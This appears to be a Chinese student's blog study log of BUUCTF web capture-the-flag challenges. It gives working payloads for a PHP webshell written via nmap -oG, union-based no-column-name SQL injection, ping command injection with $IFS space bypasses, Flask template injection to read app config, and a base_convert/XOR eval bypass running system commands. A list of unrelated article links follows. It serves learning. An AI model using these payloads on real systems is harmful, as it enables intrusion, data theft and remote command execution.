尝试构造payload：' <?php system($_GET[1551]); ?> -oG shell.php '　　　　　　（这个空格不能少的，别忘了这是shell啊！而且不知道为什么别人用 -oA就可以，我就不行）

然后访问拿flag就好了。

要咕一阵子了，还有别的事情要做。。。好烦啊！！！

Web1

涉及知识点：

（1）无列名注入

解析：

创建完登录账号之后发现有一个输入框，本来以为是个XSS。但是在我玩半个小时手机之后发现管理员还没有确认，我开始觉得事情不简单。

测试注入点。发现没有注入点，我有点慌了，只能去看wp。

果然还是我太菜了，没注意到发布广告之后才能造成二次注入。（以后要多次测试，一定要细心，毕竟信息搜集可是很重要的）

注入点在title。空格被过滤了，选择/**/代替。（字段长度是从1开始一个一个测出来的，居然有22个字段，我吐了）

回显在2,3

接下来尝试爆表名。

在爆表名时，or被过滤了，所以information_schema是用不了了，这时我们可以选用其他的系统表

贴上大佬的博客 https://blog.csdn.net/dj673344908/article/details/80482844。这里我选用mysql来爆表。

构造payload：title=0'union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

。。。flag在users里，别找错了。

然后就是无列名注入了。大佬给的定义是

无列名注入时我们是采用的子查询的方式，子查询是将一个查询语句嵌套在另一个查询语句中，

在特定的情况下，一个查询语句的条件需要另一个查询语句来获取，内层查询语句的查询结果，可以为外层查询语句提供查询条件。

额，有点绕，就是下面这个例子。

select group_concat(a) from (select 1 as a,2 as b,3 as c union select * from users)x　　　　（这个x一定要加！！！）

构造payload:0'union/**/select/**/1,2,(select/**/group_concat(b)/**/from(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select*from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

回显是

发现b中并没有flag，那么应该在c里吧

0'union/**/select/**/1,2,(select/**/group_concat(c)/**/from(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select*from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

发现flag

完成。最后贴一个无列名注入的学习链接 https://zhuanlan.zhihu.com/p/98206699   （感谢大佬）

 Ping Ping Ping
涉及知识点：
（1）shell命令行注入
解析：
进入题目界面发现有一个 /?ip= ，那么在url中注入?ip=127.0.0.1，回显是

看到是ping命令就自然想到了shell命令行注入。之后使用构造payload：?ip=127.0.0.1|ls　,回显是

本来以为构造payload: ?ip=127.0.0.1|cat flag.php就可以了。但是

。。过滤了空格，找了一下，可以代替空格的有

$IFS

${IFS}

$IFS$1 //$1改成$加其他数字貌似都行

<

<>

{cat,flag.php}  //用逗号实现了空格功能

%20

%09

修改payload: ?ip=127.0.0.1|cat$IFS$1flag.php

?flag也过滤了。那么采用组合的方法。构造payload: ?ip=127.0.0.1;m=g;cat$IFS$1fla$m.php

得到flag

其实。。还有一个黑科技。。构造payload: ?ip=127.0.0.1;cat$IFS`ls`;

就出来了。。。

注：如果过滤cat的话，可以采用tac反向输出命令或者linux命令中可以加\,所有可以用ca\t /fla\g

 shirne

涉及知识点：

（1）ssti

解析：

进来就给源码。

import flask

import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')

def index():

    return open(__file__).read()

@app.route('/shrine/<path:shrine>')

def shrine(shrine):

    def safe_jinja(s):

        s = s.replace('(', '').replace(')', '')

        blacklist = ['config', 'self']

        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':

    app.run(debug=True)

是看到了render，猜测有模板注入。访问 http://4e0266fa-95cd-42b1-88c2-1b492c322f51.node3.buuoj.cn/shrine/{{7*7}} ,回显是

证明存在模板注入，审计源码后发现花括号被过滤了，这说明肯定不能是普通的ssti了。

找到关键点， app.config['FLAG'] = os.environ.pop('FLAG')  ，这么看来flag应该在config中了。但是config被过滤了，

 blacklist = ['config', 'self']

 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

不知道怎么办。上网去找解决办法，然后，，找到了璞佬的博客？（缓缓打出一个问号）（璞佬nb!）

贴上贴上　https://tanpuhan.github.io/2019/09/28/2018TWCTF—shrine/#more

明白了，flask中有两个函数可以利用，url_for和get_flashed_messages两个函数来进行模板注入。

构造payload: /shrine/{{url_for.__globals__}},找回显中的app

一共就几个带app的，一个一个尝试就好了，先构造payload:　/shrine/{{url_for.__globals__['current_app']}}.config

直接就找到了flag。

具体的就不讲太多了，毕竟我是小白怕误导大家，有问题看璞佬博客就行了。

附ssti基础学习的博客：https://bbs.ichunqiu.com/thread-47685-1-1.html　　（感谢大佬）

话说出了新型冠状病毒之后连门都出不去，连好吃的都没有，好烦啊，但愿大家早日共度难关吧。

 easy_web
涉及知识点：
（1）源码泄露（任意文件读取）
（2）md5碰撞
（3）shell命令注入
解析：
因为这一题和极光第二次考核的题目一样，所以真想看我的题解的话可以去看考核wp，密码是123456789（没错，就没想过防人QWQ）
 
 
 。。突然想起我还有个比赛，，buu就先咕了吧，这个寒假学了好多啊！感谢赵总！
 
 
Love Math
涉及知识点：
（1）base_convert()函数将数字转化为任意字符串。

（2）hex2bin()函数16进制转码

（3）getallheaders函数构造可控的headers

解析：

有一说一，真的没看懂这道题，贴上大佬的yuying大佬的wp，然后用自己的思路来讲讲这道题。

先贴源码

<?php

error_reporting(0);

//听说你很喜欢数学，不知道你是否爱它胜过爱flag

if(!isset($_GET['c'])){

    show_source(__FILE__);

}else{

    //例子 c=20-1

    $content = $_GET['c'];

    if (strlen($content) >= 80) {

        die("太长了不会算");

    }

    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

    foreach ($blacklist as $blackitem) {

        if (preg_match('/' . $blackitem . '/m', $content)) {

            die("请不要输入奇奇怪怪的字符");

        }

    }

    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp

    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);   　　　　　　//过滤所有whitelist之外的单词

    foreach ($used_funcs[0] as $func) {

        if (!in_array($func, $whitelist)) {

            die("请不要输入奇奇怪怪的函数");

        }

    }

    //帮你算出答案

    eval('echo '.$content.';');

}

这个题目的大致意思就是你的c中不能有除了白名单单词之外的单词，只能从这些单词中构造payload。

那么怎么从一堆数字中构造payload呢？到这里我已经蒙了。看了wp才知道这是要用base_convert()函数实现任意小写字母的写入。

先尝试构造payload: ?c=base_convert(1751504350,10,36)(base_convert(784,10,36)) ,即

?c=system('ls')

发现有回显。flag不在本级目录下，那么很大可能是在根目录下了。

大佬说有四种方式，这里我就提一种吧。

因为80个字符的限制是在是太少，我们要尽可能的减少字符，比如用$pi来代表base_convert省字符。

尝试构造出$_GET来省字符，这里我们尝试使用异或来构造。写了个脚本来查看异或的结果。

t.php

<?php

$a = $_GET['a'];

$b = $_GET['b'];

echo $a^$b;

?>

py代码：

import requests

import re

def attack():

    for i in range(10):

        j = "a"

        while ord('a') <= ord(j) <= ord('z'):

            url = "http://127.0.0.1/t.php?a=" + str(i) + "&b=" + str(j)

            #print(url)

            resp = requests.get(url)

            print(str(i) + " ^ " + str(j) + " = " + resp.text)

            j = chr(ord(j) + 1)

attack()
 结果：
0 ^ a = Q

0 ^ b = R

0 ^ c = S

0 ^ d = T

0 ^ e = U

0 ^ f = V

0 ^ g = W

0 ^ h = X

0 ^ i = Y

0 ^ j = Z

0 ^ k = [

0 ^ l = \

0 ^ m = ]

0 ^ n = ^

0 ^ o = _

0 ^ p = @

0 ^ q = A

0 ^ r = B

0 ^ s = C

0 ^ t = D

0 ^ u = E

0 ^ v = F

0 ^ w = G

0 ^ x = H

0 ^ y = I

0 ^ z = J

1 ^ a = P

1 ^ b = S

1 ^ c = R

1 ^ d = U

1 ^ e = T

1 ^ f = W

1 ^ g = V

1 ^ h = Y

1 ^ i = X

1 ^ j = [

1 ^ k = Z

1 ^ l = ]

1 ^ m = \

1 ^ n = _

1 ^ o = ^

1 ^ p = A

1 ^ q = @

1 ^ r = C

1 ^ s = B

1 ^ t = E

1 ^ u = D

1 ^ v = G

1 ^ w = F

1 ^ x = I

1 ^ y = H

1 ^ z = K

2 ^ a = S

2 ^ b = P

2 ^ c = Q

2 ^ d = V

2 ^ e = W

2 ^ f = T

2 ^ g = U

2 ^ h = Z

2 ^ i = [

2 ^ j = X

2 ^ k = Y

2 ^ l = ^

2 ^ m = _

2 ^ n = \

2 ^ o = ]

2 ^ p = B

2 ^ q = C

2 ^ r = @

2 ^ s = A

2 ^ t = F

2 ^ u = G

2 ^ v = D

2 ^ w = E

2 ^ x = J

2 ^ y = K

2 ^ z = H

3 ^ a = R

3 ^ b = Q

3 ^ c = P

3 ^ d = W

3 ^ e = V

3 ^ f = U

3 ^ g = T

3 ^ h = [

3 ^ i = Z

3 ^ j = Y

3 ^ k = X

3 ^ l = _

3 ^ m = ^

3 ^ n = ]

3 ^ o = \

3 ^ p = C

3 ^ q = B

3 ^ r = A

3 ^ s = @

3 ^ t = G

3 ^ u = F

3 ^ v = E

3 ^ w = D

3 ^ x = K

3 ^ y = J

3 ^ z = I

4 ^ a = U

4 ^ b = V

4 ^ c = W

4 ^ d = P

4 ^ e = Q

4 ^ f = R

4 ^ g = S

4 ^ h = \

4 ^ i = ]

4 ^ j = ^

4 ^ k = _

4 ^ l = X

4 ^ m = Y

4 ^ n = Z

4 ^ o = [

4 ^ p = D

4 ^ q = E

4 ^ r = F

4 ^ s = G

4 ^ t = @

4 ^ u = A

4 ^ v = B

4 ^ w = C

4 ^ x = L

4 ^ y = M

4 ^ z = N

5 ^ a = T

5 ^ b = W

5 ^ c = V

5 ^ d = Q

5 ^ e = P

5 ^ f = S

5 ^ g = R

5 ^ h = ]

5 ^ i = \

5 ^ j = _

5 ^ k = ^

5 ^ l = Y

5 ^ m = X

5 ^ n = [

5 ^ o = Z

5 ^ p = E

5 ^ q = D

5 ^ r = G

5 ^ s = F

5 ^ t = A

5 ^ u = @

5 ^ v = C

5 ^ w = B

5 ^ x = M

5 ^ y = L

5 ^ z = O

6 ^ a = W

6 ^ b = T

6 ^ c = U

6 ^ d = R

6 ^ e = S

6 ^ f = P

6 ^ g = Q

6 ^ h = ^

6 ^ i = _

6 ^ j = \

6 ^ k = ]

6 ^ l = Z

6 ^ m = [

6 ^ n = X

6 ^ o = Y

6 ^ p = F

6 ^ q = G

6 ^ r = D

6 ^ s = E

6 ^ t = B

6 ^ u = C

6 ^ v = @

6 ^ w = A

6 ^ x = N

6 ^ y = O

6 ^ z = L

7 ^ a = V

7 ^ b = U

7 ^ c = T

7 ^ d = S

7 ^ e = R

7 ^ f = Q

7 ^ g = P

7 ^ h = _

7 ^ i = ^

7 ^ j = ]

7 ^ k = \

7 ^ l = [

7 ^ m = Z

7 ^ n = Y

7 ^ o = X

7 ^ p = G

7 ^ q = F

7 ^ r = E

7 ^ s = D

7 ^ t = C

7 ^ u = B

7 ^ v = A

7 ^ w = @

7 ^ x = O

7 ^ y = N

7 ^ z = M

8 ^ a = Y

8 ^ b = Z

8 ^ c = [

8 ^ d = \

8 ^ e = ]

8 ^ f = ^

8 ^ g = _

8 ^ h = P

8 ^ i = Q

8 ^ j = R

8 ^ k = S

8 ^ l = T

8 ^ m = U

8 ^ n = V

8 ^ o = W

8 ^ p = H

8 ^ q = I

8 ^ r = J

8 ^ s = K

8 ^ t = L

8 ^ u = M

8 ^ v = N

8 ^ w = O

8 ^ x = @

8 ^ y = A

8 ^ z = B

9 ^ a = X

9 ^ b = [

9 ^ c = Z

9 ^ d = ]

9 ^ e = \

9 ^ f = _

9 ^ g = ^

9 ^ h = Q

9 ^ i = P

9 ^ j = S

9 ^ k = R

9 ^ l = U

9 ^ m = T

9 ^ n = W

9 ^ o = V

9 ^ p = I

9 ^ q = H

9 ^ r = K

9 ^ s = J

9 ^ t = M

9 ^ u = L

9 ^ v = O

9 ^ w = N

9 ^ x = A

9 ^ y = @

9 ^ z = C

在其中找到 _GET =    "9779"  ^  "fprm" ，[]被过滤了，但是没关系{}也可以实现同样的效果。

 构造payload : ?c=$pi=base_convert;$pi=$pi(733234,10,36)^$pi(429237,10,36);$$pi{0}($$pi{1})&0=system&1=cat /flag
得到flag

其他的解法看大佬的博客吧，刷到这里我已经觉得自己能力不足了。看来要停止刷题了去web学习了。（而且好像写的太多了，打字都是卡的，把这个定为上吧，开学接着写下）

https://www.jb51.net/article/88732.htm

buu学习记录（上）的更多相关文章

  1. buu学习记录（下）（做题是不可能做题的）

    目录: easy_calc 禁止套娃 EasyWeb Babysqli Easyweb easy_serialize_php 我有一个数据库 SSRFme 枯燥的抽奖 EasyPHP 题目解析: ea ...

  2. Quartz 学习记录1

    原因 公司有一些批量定时任务可能需要在夜间执行,用的是quartz和spring batch两个框架.quartz是个定时任务框架,spring batch是个批处理框架. 虽然我自己的小玩意儿平时不 ...

  3. Java 静态内部类与非静态内部类 学习记录.

    目的 为什么会有这篇文章呢,是因为我在学习各种框架的时候发现很多框架都用到了这些内部类的小技巧,虽然我平时写代码的时候基本不用,但是看别人代码的话至少要了解基本知识吧,另外到底内部类应该应用在哪些场合 ...

  4. Apache Shiro 学习记录4

    今天看了教程的第三章...是关于授权的......和以前一样.....自己也研究了下....我觉得看那篇教程怎么说呢.....总体上是为数不多的精品教程了吧....但是有些地方确实是讲的太少了.... ...

  5. UWP学习记录11-设计和UI

    UWP学习记录11-设计和UI 1.输入和设备 通用 Windows 平台 (UWP) 中的用户交互组合了输入和输出源(例如鼠标.键盘.笔.触摸.触摸板.语音.Cortana.控制器.手势.注视等)以 ...

  6. UWP学习记录9-设计和UI之控件和模式6

    UWP学习记录9-设计和UI之控件和模式6 1.图形和墨迹 InkCanvas是接收和显示墨迹笔划的控件,是新增的比较复杂的控件,这里先不深入. 而形状(Shape)则是可以显示的各种保留模式图形对象 ...

  7. UWP学习记录7-设计和UI之控件和模式4

    UWP学习记录7-设计和UI之控件和模式4 1.翻转视图 使用翻转视图浏览集合中的图像或其他项目(例如相册中的照片或产品详细信息页中的项目),一次显示一个项目. 对于触摸设备,轻扫某个项将在整个集合中 ...

  8. UWP学习记录5-设计和UI之控件和模式2

    UWP学习记录5-设计和UI之控件和模式2 1.应用栏和命令栏 CommandBar 控件是一款通用.灵活.轻型的控件,可显示复杂内容(如图像或文本块)以及简单的命令(如 AppBarButton.A ...

  9. UWP学习记录4-设计和UI之控件和模式1

    UWP学习记录4-设计和UI之控件和模式1 1.控件和事件简介 在 UWP 应用开发中,控件是一种显示内容或支持交互的 UI 元素. 控件是用户界面的构建基块. 我们提供了超过 45 种控件供你使用, ...

随机推荐

  1. 12装饰器及*args,**kwargs

    注:参数和返回值都是一个函数. 1,无参数 def decotare1(func): def wrapper(): print("First") func() return wra ...

  2. mysql 定时任务执行

    SET GLOBAL event_scheduler = ON; show variables like 'event_scheduler'; event_scheduler ON 创建event: ...

  3. C++ 中表达式求值

    首先我们来看一段代码: int a() { return std::puts("a"); } int b() { return std::puts("b"); ...

  4. Mysql分区、分表、分库

    1.MySQL分区 一般情况下我们创建的表对应一组存储文件,使用MyISAM存储引擎时是一个.MYI和.MYD文件,使用Innodb存储引擎时是一个.ibd和.frm(表结构)文件. 当数据量较大时( ...

  5. 幻读在 InnoDB 中是被如何解决的?(转)

    在MySQL事务初识中,我们了解到不同的事务隔离级别会引发不同的问题,如在 RR 级别下会出现幻读.但如果将存储引擎选为 InnoDB ,在 RR 级别下,幻读的问题就会被解决.在这篇文章中,会先介绍 ...

  6. InnoDB事务的二阶段提交

    问题: 什么是二阶段提交 为什么需要二阶段提交 二阶段提交流程 什么是二阶段提交? ### 假设原来id 为10 的记录age 为5 begin; update student set age = 1 ...

  7. thinkphp3.2 添加自定义类似__ROOT__的变量

    1 thinkphp3.2 添加自定义类似__ROOT__的变量 2 3 在config.php文件中 4 return array( 5 '' => '', 6 'TMPL_PARSE_STR ...

  8. LGOJ5022 旅行 noip tg 2018

    旅行 标签(空格分隔): noip2018 提高组 今天我给大家带来一份题解. 题目的大大致意思是这样的: $$ 有一颗 树/基环树 求最小遍历顺序 $$ 树的情况自然不必多讲.做一些末端的微处理(将 ...

  9. java Base64算法

    Base64算法并不是加密算法,他的出现是为了解决ASCII码在传输过程中可能出现乱码的问题.Base64是网络上最常见的用于传输8bit字节码的可读性编码算法之一.可读性编码算法不是为了保护数据的安 ...

  10. 「实验课选题详解」用C语言实现万年历

    题目要求 编程实现万年历,要求: 可根据用户输入或系统日期进行初始化,如果用户无输入则显示系统日期所在月份的月历,并突出显示当前日期: 可根据用户输入的日期查询,并显示查询结果所在月份的月历,突出显示 ...